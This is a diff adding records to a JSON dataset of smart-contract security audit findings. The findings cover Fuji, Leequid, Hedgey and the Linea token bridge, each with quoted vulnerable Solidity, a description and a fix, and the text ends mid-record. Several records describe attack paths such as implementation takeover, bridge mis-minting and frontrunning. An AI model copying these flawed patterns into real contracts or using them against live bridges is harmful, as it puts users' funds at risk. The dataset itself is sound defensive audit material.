diff --git a/dataset/vulns.json b/dataset/vulns.json index fc2b2fc..95b1a6f 100644 --- a/dataset/vulns.json +++ b/dataset/vulns.json @@ -1077,6 +1077,7 @@ {"title":"Redundant use of `immutable` for constants","severity":null,"body":"#### Description\r\n\r\nThe `FlasherFTM` contract declares `immutable` state variables even though they are never set in the constructor. Consider declaring them as `constant` instead unless they are to be set on construction time. See the [Solidity Documentation](https://docs.soliditylang.org/en/v0.8.12/contracts.html#constant-and-immutable-state-variables) for further details:\r\n\r\n> [...] For constant variables, the value has to be fixed at compile-time, while for immutable, it can still be assigned at construction time. [...]\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/mainnet/flashloans/Flasher.sol:L37-L44**\n```solidity\naddress private immutable _aaveLendingPool = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;\naddress private immutable _dydxSoloMargin = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;\n\n// IronBank\naddress private immutable _cyFlashloanLender = 0x1a21Ab52d1Ca1312232a72f4cf4389361A479829;\naddress private immutable _cyComptroller = 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB;\n\n// need to be payable because of the conversion ETH <> WETH\n```\n\r\n\n**code/contracts/fantom/flashloans/FlasherFTM.sol:L36-L39**\n```solidity\naddress private immutable _geistLendingPool = 0x9FAD24f572045c7869117160A571B2e50b10d068;\nIFujiMappings private immutable _crMappings =\n IFujiMappings(0x1eEdE44b91750933C96d2125b6757C4F89e63E20);\n\n```\n","dataSource":{"name":"/diligence/audits/2022/03/fuji-protocol/","repo":"https://consensys.net//diligence/audits/2022/03/fuji-protocol/","url":"https://consensys.net//diligence/audits/2022/03/fuji-protocol/"}} {"title":"Redeclaration of constant values in multiple contracts","severity":null,"body":"#### Description\r\n\r\nThroughout the codebase, constant values are redeclared in various contracts. This duplication makes the code harder to maintain and increases the risk for bugs.\r\nA central contract, e.g., `Constants.sol`, `ConstantsFTM.sol`, and `ConstantsETH.sol`, to declare the constants used throughout the codebase instead of redeclaring them in multiple source units can fix this issue.\r\nIdeally, for example, an address constant for an external component is only configured in a single place but consumed by multiple contracts. This will significantly reduce the potential for misconfiguration.\r\n\r\nAvoid hardcoded addresses and use meaningful, constant names for them.\r\n\r\nNote that the solidity compiler is going to inline constants where possible.\r\n\r\n#### Examples\r\n\r\n\n**code/contracts/mainnet/WETHUnwrapper.sol:L7-L9**\n```solidity\ncontract WETHUnwrapper {\n address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n```\n\r\n\n**code/contracts/mainnet/Swapper.sol:L16-L19**\n```solidity\naddress public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\naddress public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress public constant SUSHI_ROUTER_ADDR = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;\n\n```\n\r\n\n**code/contracts/mainnet/FujiVault.sol:L32-L34**\n```solidity\n\naddress public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\n\n```\n\r\n\n**code/contracts/mainnet/Fliquidator.sol:L31-L31**\n```solidity\naddress public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\n```\n\r\n\n**code/contracts/mainnet/providers/ProviderCompound.sol:L14-L18**\n```solidity\ncontract HelperFunct {\n function _isETH(address token) internal pure returns (bool) {\n return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE));\n }\n\n```\n\r\n\n**code/contracts/mainnet/libraries/LibUniversalERC20.sol:L10-L14**\n```solidity\n\nIERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);\nIERC20 private constant _ZERO_ADDRESS = IERC20(0x0000000000000000000000000000000000000000);\n\nfunction isETH(IERC20 token) internal pure returns (bool) {\n```\n\r\n\n**code/contracts/mainnet/flashloans/Flasher.sol:L34-L36**\n```solidity\naddress private constant _ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\naddress private constant _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n```\n\r\n* Use meaningful names instead of hardcoded addresses\r\n\r\n\n**code/contracts/mainnet/Harvester.sol:L20-L29**\n```solidity\nif (_farmProtocolNum == 0) {\n transaction.to = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;\n transaction.data = abi.encodeWithSelector(\n bytes4(keccak256(\"claimComp(address)\")),\n msg.sender\n );\n claimedToken = 0xc00e94Cb662C3520282E6f5717214004A7f26888;\n} else if (_farmProtocolNum == 1) {\n uint256 harvestType = abi.decode(_data, (uint256));\n\n```\n\r\n* Avoid unnamed hardcoded inlined addresses\r\n\r\n\n**code/contracts/fantom/providers/ProviderCream.sol:L157-L162**\n```solidity\nif (_isFTM(_asset)) {\n // Transform FTM to WFTM\n IWETH(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83).deposit{ value: _amount }();\n _asset = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);\n}\n\n```\n\r\n* comptroller address - can also be `private constant` state variables as the compiler/preprocessor will inline them.\r\n\r\n\n**code/contracts/fantom/providers/ProviderCream.sol:L21-L31**\n```solidity\nfunction _getMappingAddr() internal pure returns (address) {\n return 0x1eEdE44b91750933C96d2125b6757C4F89e63E20; // Cream fantom mapper\n}\n\nfunction _getComptrollerAddress() internal pure returns (address) {\n return 0x4250A6D3BD57455d7C6821eECb6206F507576cD2; // Cream fantom\n}\n\nfunction _getUnwrapper() internal pure returns(address) {\n return 0xee94A39D185329d8c46dEA726E01F91641E57346;\n}\n```\n\r\n* `WFTM` multiple re-declarations\r\n\r\n\n**code/contracts/fantom/WFTMUnwrapper.sol:L7-L9**\n```solidity\ncontract WFTMUnwrapper {\n address constant wftm = 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83;\n\n```\n\r\n\n**code/contracts/fantom/providers/ProviderGeist.sol:L27-L29**\n```solidity\nfunction _getWftmAddr() internal pure returns (address) {\n return 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83;\n}\n```\n\r\n\n**code/contracts/fantom/providers/ProviderCream.sol:L79-L81**\n```solidity\n IWETH(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83).deposit{ value: _amount }();\n _asset = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);\n}\n```","dataSource":{"name":"/diligence/audits/2022/03/fuji-protocol/","repo":"https://consensys.net//diligence/audits/2022/03/fuji-protocol/","url":"https://consensys.net//diligence/audits/2022/03/fuji-protocol/"}} {"title":"Always use the best available type","severity":null,"body":"#### Description\r\n\r\nDeclare state variables with the best type available and downcast to `address` if needed. Typecasting inside the corpus of a function is unneeded when the parameter's type is known beforehand. Declare the best type in function arguments, state vars. Always return the best type available instead of falling back to `address`.\r\n\r\n#### Examples\r\n\r\nThere are many more instances of this, but here's a list of samples:\r\n\r\n* Should be declared with the correct types/interfaces instead of `address`\r\n\r\n\n**code/contracts/FujiAdmin.sol:L14-L20**\n```solidity\n\naddress private _flasher;\naddress private _fliquidator;\naddress payable private _ftreasury;\naddress private _controller;\naddress private _vaultHarvester;\n\n```\n\r\n* Should return the correct type/interfaces instead of `address`\r\n\r\n\n**code/contracts/FujiAdmin.sol:L144-L147**\n```solidity\n */\nfunction getSwapper() external view override returns (address) {\n return _swapper;\n}\n```\n\r\n* Should declare the argument with the correct type instead of casting in the function body.\r\n\r\n\n**code/contracts/Controller.sol:L73-L80**\n```solidity\nfunction doRefinancing(\n address _vaultAddr,\n address _newProvider,\n uint8 _flashNum\n) external isValidVault(_vaultAddr) onlyOwnerOrExecutor {\n\n IVault vault = IVault(_vaultAddr);\n\n```\n\r\n* Should make the `FujiVaultFTM.fujiERC1155` state variable of type `IFujiERC1155`\r\n\r\n\n**code/contracts/fantom/FujiVaultFTM.sol:L438-L445**\n```solidity\nIFujiERC1155(fujiERC1155).updateState(\n vAssets.borrowID,\n IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)\n);\nIFujiERC1155(fujiERC1155).updateState(\n vAssets.collateralID,\n IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset)\n);\n```\n\r\n* Return the best type available\r\n\r\n\n**code/contracts/fantom/providers/ProviderCream.sol:L25-L31**\n```solidity\nfunction _getComptrollerAddress() internal pure returns (address) {\n return 0x4250A6D3BD57455d7C6821eECb6206F507576cD2; // Cream fantom\n}\n\nfunction _getUnwrapper() internal pure returns(address) {\n return 0xee94A39D185329d8c46dEA726E01F91641E57346;\n}\n```","dataSource":{"name":"/diligence/audits/2022/03/fuji-protocol/","repo":"https://consensys.net//diligence/audits/2022/03/fuji-protocol/","url":"https://consensys.net//diligence/audits/2022/03/fuji-protocol/"}} +{"title":"Adjust NatSpec Author","severity":null,"body":"#### Description\r\nThe NatSpec provided for the file has a minor inconsistency with the actual properties. The `author` tag is assigned to Aave whereas this contract was written by the Linea team, though of course built on by work made by the Aave team.\r\n\n**contracts/bridges/LineaBridgeExecutor.sol:L9**\n```solidity\n* @author Aave\n```\n\r\n#### Recommendation\r\n\r\nAdjust the NatSpec as appropriate.","dataSource":{"name":"/diligence/audits/2023/10/linea-cross-chain-governance-executor/","repo":"https://consensys.net//diligence/audits/2023/10/linea-cross-chain-governance-executor/","url":"https://consensys.net//diligence/audits/2023/10/linea-cross-chain-governance-executor/"}} {"title":"No Protection of Uninitialized Implementation Contracts From Attacker","severity":"medium","body":"#### Description\r\nIn the contracts implement Openzeppelin's UUPS model, uninitialized implementation contract can be taken over by an attacker with `initialize` function, it's recommended to invoke the `_disableInitializers` function in the constructor to prevent the implementation contract from being used by the attacker. However all the contracts which implements `OwnablePausableUpgradeable` do not call `_disableInitializers` in the constructors\r\n#### Examples\r\n\n**contracts/tokens/Rewards.sol:L25**\n```solidity\ncontract Rewards is IRewards, OwnablePausableUpgradeable, ReentrancyGuardUpgradeable {\n```\n\n**contracts/pool/Pool.sol:L20**\n```solidity\ncontract Pool is IPool, OwnablePausableUpgradeable, ReentrancyGuardUpgradeable {\n```\n\n**contracts/tokens/StakedLyxToken.sol:L46**\n```solidity\ncontract StakedLyxToken is OwnablePausableUpgradeable, LSP4DigitalAssetMetadataInitAbstract, IStakedLyxToken, ReentrancyGuardUpgradeable {\n```\netc.\r\n\r\n#### Recommendation\r\n\r\nInvoke `_disableInitializers` in the constructors of contracts which implement `OwnablePausableUpgradeable` including following:\r\n```\r\nPool\r\nPoolValidators\r\nFeeEscrow\r\nReward\r\nStakeLyxTokem\r\nOracles \r\nMerkleDistributor \r\n\r\n```\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/09/leequid-staking/","repo":"https://consensys.net//diligence/audits/2023/09/leequid-staking/","url":"https://consensys.net//diligence/audits/2023/09/leequid-staking/"}} {"title":"Unsafe Function receiveFees","severity":"minor","body":"#### Description\r\nIn the Pool contract, function `receiveFees` is used for compensate a potential penalty/slashing in the protocol by sending LYX back to the pool without minting sLYX, but the side effect is that anyone can send LYX to the pool which could mess up pool balance after all validator exited, in fact it can be replaced by a another function `receiveWithoutActivation` with access control which does the same thing. \r\n#### Examples\r\n\n**contracts/pool/Pool.sol:L153**\n```solidity\nfunction receiveFees() external payable override {}\n```\n\r\n\n**contracts/pool/Pool.sol:L132-L134**\n```solidity\nfunction receiveWithoutActivation() external payable override {\n require(msg.sender == address(stakedLyxToken) || hasRole(DEFAULT_ADMIN_ROLE, msg.sender), \"Pool: access denied\");\n}\n```\n\r\n#### Recommendation\r\nRemove function `receiveFees` \r\n\r\n","dataSource":{"name":"/diligence/audits/2023/09/leequid-staking/","repo":"https://consensys.net//diligence/audits/2023/09/leequid-staking/","url":"https://consensys.net//diligence/audits/2023/09/leequid-staking/"}} {"title":"Unnecessary Matching in Unstake Process ","severity":"minor","body":"#### Description\r\nFunction `unstakeProcessed` in `StakedLyxToken` contract, when `unstakeAmount > totalPendingUnstake`, all the unstake requests should be able to be processed, thus no need to go through the matching, as a result, extra gas in the matching can be saved. \r\n#### Examples\r\n\n**contracts/tokens/StakedLyxToken.sol:L388-L411**\n```solidity\nif (unstakeAmount > totalPendingUnstake) {\n pool.receiveWithoutActivation{value: unstakeAmount - totalPendingUnstake}();\n unstakeAmount = totalPendingUnstake;\n}\n\ntotalPendingUnstake -= unstakeAmount;\ntotalUnstaked += unstakeAmount;\nuint256 amountToFill = unstakeAmount;\n\nfor (uint256 i = unstakeRequestCurrentIndex; i <= unstakeRequestCount; i++) {\n UnstakeRequest storage request = _unstakeRequests[i];\n if (amountToFill > (request.amount - request.amountFilled)) {\n amountToFill -= (request.amount - request.amountFilled);\n continue;\n } else {\n if (amountToFill == (request.amount - request.amountFilled) && i < unstakeRequestCount) {\n unstakeRequestCurrentIndex = i + 1;\n } else {\n request.amountFilled += uint128(amountToFill);\n unstakeRequestCurrentIndex = i;\n }\n break;\n }\n}\n```\n\r\n\r\n#### Recommendation\r\nPut the matching part (line 393-411) into else branch of `if unstakeAmount > totalPendingUnstake`, change the if branch into following: \r\n```\r\nif (unstakeAmount > totalPendingUnstake) {\r\n pool.receiveWithoutActivation{value: unstakeAmount - totalPendingUnstake}();\r\n unstakeAmount = totalPendingUnstake;\r\n totalPendingUnstake = 0;\r\n unstakeRequestCurrentIndex = unstakeRequestCount;\r\n _unstakeRequests[unstakeRequestCount].amountFilled = _unstakeRequests[unstakeRequestCount].amount;\r\n } \r\n```\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/09/leequid-staking/","repo":"https://consensys.net//diligence/audits/2023/09/leequid-staking/","url":"https://consensys.net//diligence/audits/2023/09/leequid-staking/"}} @@ -1181,6 +1182,59 @@ {"title":"Use Custom Errors to Save Gas","severity":null,"body":"#### Description\r\n\r\n[As of Solidity 0.8.4](https://blog.soliditylang.org/2021/04/21/custom-errors/) it is possible to save gas when reporting error conditions by using custom errors instead of strings.\r\n\r\n#### Examples\r\n\r\n\n**contracts/ERC721Delegate/ERC721Delegate.sol:L40**\n```solidity\nrequire(index < ERC721.balanceOf(owner), 'ERC721Enumerable: owner index out of bounds');\n```\n\r\n\n**contracts/ERC721Delegate/ERC721Delegate.sol:L59**\n```solidity\nrequire(index < totalSupply(), 'ERC721Enumerable: global index out of bounds');\n```\n\r\n\r\n#### Recommendation\r\n\r\nWe recommend using [custom errors](https://docs.soliditylang.org/en/v0.8.20/contracts.html#errors-and-the-revert-statement) to save gas.\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/hedgey-token-lockup-and-vesting-plans/","repo":"https://consensys.net//diligence/audits/2023/06/hedgey-token-lockup-and-vesting-plans/","url":"https://consensys.net//diligence/audits/2023/06/hedgey-token-lockup-and-vesting-plans/"}} {"title":"Use `_beforeTokenTransfer` to Override Behavior in OpenZeppelin Token Contracts","severity":null,"body":"#### Description\r\n\r\nContracts such as `TokenVestingPlans`, `VotingTokenVestingPlans`, `TokenLockupPlans_Bound`, and `VotingTokenLockupPlans_Bound` add special conditions for allowing the transfer of tokens by overriding the `transferFrom`, `_safeTransfer`, and `_transfer` functions in OpenZeppelin token contracts. While workable this approach can be error-prone and may break during future upgrades to the underlying contracts.\r\n\r\nFor example, in the unreleased version of OpenZeppelin's contracts, the `ERC20._transfer` function is no longer virtual and contains the warning:\r\n\r\n> NOTE: This function is not virtual, {_update} should be overridden instead.\r\n\r\n#### Examples\r\n\r\n\n**contracts/VestingPlans/TokenVestingPlans.sol:L282**\n```solidity\nfunction transferFrom(address from, address to, uint256 tokenId) public override(IERC721, ERC721) {\n```\n\r\n\n**contracts/VestingPlans/TokenVestingPlans.sol:L291**\n```solidity\nfunction _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal override {\n```\n\r\n\n**contracts/LockupPlans/NonTransferable/TokenLockupPlans_Bound.sol:L21**\n```solidity\nfunction _transfer(address from, address to, uint256 tokenId) internal virtual override {\n```\n\r\n#### Recommendation\r\n\r\nOpenZeppelin recognizes this as a common use case and provides [a hook](https://docs.openzeppelin.com/contracts/4.x/extending-contracts#using-hooks) for cleaner control over transfer behavior. Use the [_beforeTokenTransfer](https://docs.openzeppelin.com/contracts/4.x/api/token/ERC20#ERC20-_beforeTokenTransfer-address-address-uint256-) hook with version 4 contracts to enforce transfer conditions.\r\n\r\nPlease note however that the `_beforeTokenTransfer` hook [will be deprecated in the next release of OpenZeppelin's contracts](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/CHANGELOG.md#erc20-erc721-and-erc1155) in favor of a new function called `_update`.\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/hedgey-token-lockup-and-vesting-plans/","repo":"https://consensys.net//diligence/audits/2023/06/hedgey-token-lockup-and-vesting-plans/","url":"https://consensys.net//diligence/audits/2023/06/hedgey-token-lockup-and-vesting-plans/"}} {"title":"Use `calldata` Instead of `memory` for External Function Arguments Data Location","severity":null,"body":"#### Description\r\n\r\nReference types (e.g., arrays, mappings, and structs) in function arguments must declare the “data location” for where they are stored. There are two options for external functions: `calldata` or `memory`. `calldata` arguments are immutable which reduces complexity and improves code readability. `memory` arguments are mutable and add an implicit copy operation.\r\n\r\n#### Examples\r\n\r\n\n**contracts/LockupPlans/TokenLockupPlans.sol:L72**\n```solidity\nfunction redeemPlans(uint256[] memory planIds) external nonReentrant {\n```\n\r\n\n**contracts/VestingPlans/VotingTokenVestingPlans.sol:L123**\n```solidity\nfunction revokePlans(uint256[] memory planIds) external nonReentrant {\n```\n\r\n\n**contracts/LockupPlans/TokenLockupPlans.sol:L107-L110**\n```solidity\nfunction segmentPlan(\n uint256 planId,\n uint256[] memory segmentAmounts\n) external nonReentrant returns (uint256[] memory newPlanIds) {\n```\n\r\n#### Recommendation\r\n\r\nThe [Solidity documentation](https://docs.soliditylang.org/en/v0.8.20/types.html#data-location) makes the following recommendation:\r\n\r\n> If you can, try to use `calldata` as data location because it will avoid copies and also makes sure that the data cannot be modified.\r\n\r\nWe recommend always using `calldata` for external function parameters unless doing so would incur a serious performance penalty or make code harder to read.\r\n","dataSource":{"name":"/diligence/audits/2023/06/hedgey-token-lockup-and-vesting-plans/","repo":"https://consensys.net//diligence/audits/2023/06/hedgey-token-lockup-and-vesting-plans/","url":"https://consensys.net//diligence/audits/2023/06/hedgey-token-lockup-and-vesting-plans/"}} +{"title":"Bridge Token Would Be Locked and Cannot Bridge to Native Token ","severity":"critical","body":"#### Description\r\nIf the bridge token B of a native token A is already deployed and `confirmDeployment` is called on the other layer and `setDeployed` sets A's `nativeToBridgedToken` value to `DEPLOYED_STATUS`. The bridge token B cannot bridge to native token A in `completeBridging` function, because A's `nativeToBridgedToken` value is not `NATIVE_STATUS`, as a result the native token won't be transferred to the receiver. User's bridge token will be locked in the original layer \r\n \r\n#### Examples\r\n\n**contracts/TokenBridge.sol:L217-L229**\n```solidity\nif (nativeMappingValue == NATIVE_STATUS) {\n // Token is native on the local chain\n IERC20(_nativeToken).safeTransfer(_recipient, _amount);\n} else {\n bridgedToken = nativeMappingValue;\n if (nativeMappingValue == EMPTY) {\n // New token\n bridgedToken = deployBridgedToken(_nativeToken, _tokenMetadata);\n bridgedToNativeToken[bridgedToken] = _nativeToken;\n nativeToBridgedToken[_nativeToken] = bridgedToken;\n }\n BridgedToken(bridgedToken).mint(_recipient, _amount);\n}\n```\n\r\n\n**contracts/TokenBridge.sol:L272-L279**\n```solidity\nfunction setDeployed(address[] memory _nativeTokens) external onlyMessagingService fromRemoteTokenBridge {\n address nativeToken;\n for (uint256 i; i < _nativeTokens.length; i++) {\n nativeToken = _nativeTokens[i];\n nativeToBridgedToken[_nativeTokens[i]] = DEPLOYED_STATUS;\n emit TokenDeployed(_nativeTokens[i]);\n }\n}\n```\n\r\n\r\n#### Recommendation\r\n\r\nAdd an condition `nativeMappingValue` = `DEPLOYED_STATUS` for native token transfer in `confirmDeployment`\r\n ```\r\nif (nativeMappingValue == NATIVE_STATUS || nativeMappingValue == DEPLOYED_STATUS) {\r\n IERC20(_nativeToken).safeTransfer(_recipient, _amount);\r\n```\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"User Cannot Withdraw Funds if Bridging Failed or Delayed ","severity":"major","body":"#### Description\r\nIf the bridging failed due to the single coordinator is down, censoring the message, or bridge token contract is set to a bad or wrong contract address by `setCustomContract`, user's funds will stuck in the `TokenBridge` contract until coordinator is online or stop censoring, there is no way to withdraw the deposited funds \r\n#### Examples\r\n\r\n\n**contracts/TokenBridge.sol:L341-L348**\n```solidity\nfunction setCustomContract(\n address _nativeToken,\n address _targetContract\n) external onlyOwner isNewToken(_nativeToken) {\n nativeToBridgedToken[_nativeToken] = _targetContract;\n bridgedToNativeToken[_targetContract] = _nativeToken;\n emit CustomContractSet(_nativeToken, _targetContract);\n}\n```\n\r\n\r\n#### Recommendation\r\n\r\nAdd withdraw functionality to let user withdraw the funds under above circumstances or at least add withdraw functionality for Admin (admin can send the funds to the user manually), ultimately decentralize coordinator and sequencer to reduce bridging failure risk. \r\n\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"Bridges Don't Support Multiple Native Tokens, Which May Lead to Incorrect Bridging","severity":"major","body":"#### Description\r\nCurrently, the system design does not support the scenarios where native tokens with the same addresses (which is possible with the same deployer and nonce) on different layers can be bridged.\r\n\r\nFor instance,\r\nLet's consider, there is a native token `A` on `L1` which has already been bridged on `L2`. If anyone tries to bridge native token `B` on `L2` with the same address as token `A` , instead of creating a new bridge on `L1` and minting new tokens, the token bridge will transfer native token `A` on `L1` to the `_recipient` which is incorrect.\r\n\r\nThe reason is the mappings don't differentiate between the native tokens on two different Layers.\r\n```\r\n mapping(address => address) public nativeToBridgedToken;\r\n mapping(address => address) public bridgedToNativeToken;\r\n```\r\n\r\n#### Examples\r\n\r\n\n**contracts/TokenBridge.sol:L208-L220**\n```solidity\nfunction completeBridging(\n address _nativeToken,\n uint256 _amount,\n address _recipient,\n bytes calldata _tokenMetadata\n) external onlyMessagingService fromRemoteTokenBridge {\n address nativeMappingValue = nativeToBridgedToken[_nativeToken];\n address bridgedToken;\n\n if (nativeMappingValue == NATIVE_STATUS) {\n // Token is native on the local chain\n IERC20(_nativeToken).safeTransfer(_recipient, _amount);\n } else {\n```\n\r\n#### Recommendation\r\n\r\nRedesign the approach to handle the same native tokens on different layers. One possible approach could be to define the set of mappings for each layer.","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"No Check for Initializing Parameters of TokenBridge","severity":"major","body":"#### Description\r\nIn `TokenBridge` contract's `initialize` function, there is no check for initializing parameters including `_securityCouncil`, `_messageService`, `_tokenBeacon` and `_reservedTokens`. If any of these address is set to 0 or other invalid value, TokenBridge would not work, user may lose funds.\r\n#### Examples\r\n\r\n\n**contracts/TokenBridge.sol:L97-L111**\n```solidity\nfunction initialize(\n address _securityCouncil,\n address _messageService,\n address _tokenBeacon,\n address[] calldata _reservedTokens\n) external initializer {\n __Pausable_init();\n __Ownable_init();\n setMessageService(_messageService);\n tokenBeacon = _tokenBeacon;\n for (uint256 i = 0; i < _reservedTokens.length; i++) {\n setReserved(_reservedTokens[i]);\n }\n _transferOwnership(_securityCouncil);\n}\n```\n\r\n#### Recommendation\r\nAdd non-zero address check for `_securityCouncil`, `_messageService`, `_tokenBeacon` and `_reservedTokens`\r\n\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"Owner Can Update Arbitrary Status for New Native Token Without Confirmation","severity":"major","body":"#### Description\r\nThe function `setCustomContract` allows the owner to update arbitrary status for new native tokens without confirmation, bypassing the bridge protocol.\r\n\r\n* It can set `DEPLOYED_STATUS` for a new native token, even if there exists no bridged token for it.\r\n* It can set `NATIVE_STATUS` for a new native token even if it's not.\r\n* It can set `RESERVED_STATUS` disallowing any new native token to be bridged.\r\n\r\n#### Examples\r\n\r\n\n**contracts/TokenBridge.sol:L341-L348**\n```solidity\nfunction setCustomContract(\n address _nativeToken,\n address _targetContract\n) external onlyOwner isNewToken(_nativeToken) {\n nativeToBridgedToken[_nativeToken] = _targetContract;\n bridgedToNativeToken[_targetContract] = _nativeToken;\n emit CustomContractSet(_nativeToken, _targetContract);\n}\n```\n\r\n#### Recommendation\r\n\r\nThe function should not allow `_targetContract` to be any state code\r\n","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"Owner May Exploit Bridged Tokens","severity":"major","body":"#### Description\r\nThe function `setCustomContract` allows the owner, to define a custom ERC20 contract for the native token. However, it doesn't check whether the target contract has already been defined as a bridge to a native token or not. As a result, the owner \r\nmay take advantage of the design flaw and bridge another new native token that has not been bridged yet, to an already existing target(already a bridge for another native token). \r\nNow, if a user tries to bridge this native token, the token bridge on the source chain will take the user's tokens, and instead of deploying a new bridge on the destination chain, tokens will be minted to the `_recipient` on an existing bridge defined by the owner, or it can be any random EOA address to create a DoS.\r\n\r\nThe owner can also try to front-run calls to `completeBridging` for new Native Tokens on the destination chain, by setting a different bridge via `setCustomContract`. Although, the team states that the role will be controlled by a multi-sig which makes frontrunning less likely to happen.\r\n\r\n#### Examples\r\n\r\n\n**contracts/TokenBridge.sol:L341-L348**\n```solidity\nfunction setCustomContract(\n address _nativeToken,\n address _targetContract\n) external onlyOwner isNewToken(_nativeToken) {\n nativeToBridgedToken[_nativeToken] = _targetContract;\n bridgedToNativeToken[_targetContract] = _nativeToken;\n emit CustomContractSet(_nativeToken, _targetContract);\n}\n```\n\r\n\n**contracts/TokenBridge.sol:L220-L229**\n```solidity\n} else {\n bridgedToken = nativeMappingValue;\n if (nativeMappingValue == EMPTY) {\n // New token\n bridgedToken = deployBridgedToken(_nativeToken, _tokenMetadata);\n bridgedToNativeToken[bridgedToken] = _nativeToken;\n nativeToBridgedToken[_nativeToken] = bridgedToken;\n }\n BridgedToken(bridgedToken).mint(_recipient, _amount);\n}\n```\n\r\n#### Recommendation\r\n\r\nMake sure, a native token should bridge to a single target contract. A possible approach could be to check whether the `bridgedToNativeToken` for a target is `EMPTY` or not. If it's not EMPTY, it means it's already a bridge for a native token and the function should revert. The same can be achieved by adding the modifier `isNewToken(_targetContract)`.\r\n\r\n**Note**:- However, it doesn't resolve the issue of frontrunning, even if the likelihood is less.","dataSource":{"name":"/diligence/audits/2023/06/linea-canonical-token-bridge/","repo":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/","url":"https://consensys.net//diligence/audits/2023/06/linea-canonical-token-bridge/"}} +{"title":"Incorrect Bridging Due to Address Collision & Inconsistent State of Native Tokens","severity":"medium","body":"#### Description\r\n**In the second round of the audit**, we discovered an edge case that may exist because of an address collision of native tokens. In the first round, we found 7 explaining how the bridges only support a single native token on both layers and may cause incorrect bridging. In response to that, the Linea team implemented a change that reverts whenever there is an attempt to bridge a native token with the same address on the other layer.\r\n\r\nHowever, the issue still exists because of the inconsistent state of native tokens while bridging. The reason is, there could be an attempt to bridge a token with the same address on both layers at the same time, which could be done deliberately by an attacker by monitoring the bridging call at source layer and frontrunning them on the destination layer. As a consequence, both the tokens will get the `NATIVE_STATUS` on both layers, as the bridges can't check the state of a token on the other layer while bridging. Now, the bridging that was initiated for a native token on the source layer will be completed with the native token on the destination layer, as the bridging was initiated at the same time.\r\n\r\n```\r\n if (nativeMappingValue == NATIVE_STATUS || nativeMappingValue == DEPLOYED_STATUS) {\r\n // Token is native on the local chain\r\n IERC20Upgradeable(_nativeToken).safeTransfer(_recipient, _amount);\r\n```\r\n\r\nFor the issue, the Linea team came back with the solution in the PR [1041](https://github.com/Consensys/zkevm-monorepo/pull/1041) with the final commit `a875e67e0681ce387825127a08f1f924991a274c`. The solution implemented adds a flag `_isNativeLayer` while sending the message to Message Service on source layer\r\n```\r\n messageService.sendMessage{ value: msg.value }(\r\n remoteSender,\r\n msg.value, // fees\r\n abi.encodeCall(ITokenBridge.completeBridging, (nativeToken, _amount, _recipient, _isNativeLayer, tokenMetadata))\r\n );\r\n ```\r\n and is used to verify the state of native token on destination layer while calling `completeBridging`.\r\n```\r\n...\r\n if (_isNativeLayer == false && (nativeMappingValue == NATIVE_STATUS || nativeMappingValue == DEPLOYED_STATUS)) {\r\n // Token is native on the local chain\r\n IERC20Upgradeable(_nativeToken).safeTransfer(_recipient, _amount);\r\n }\r\n else{\r\n ...\r\n if (\r\n nativeMappingValue == EMPTY ||\r\n (_isNativeLayer && (nativeMappingValue == NATIVE_STATUS || nativeMappingValue == DEPLOYED_STATUS))\r\n ) {\r\n // New token\r\n bridgedToken = deployBridgedToken(_nativeToken, _tokenMetadata);\r\n bridgedToNativeToken[bridgedToken] = _nativeToken;\r\n nativeToBridgedToken[_nativeToken] = bridgedToken;\r\n }\r\n BridgedToken(bridgedToken).mint(_recipient, 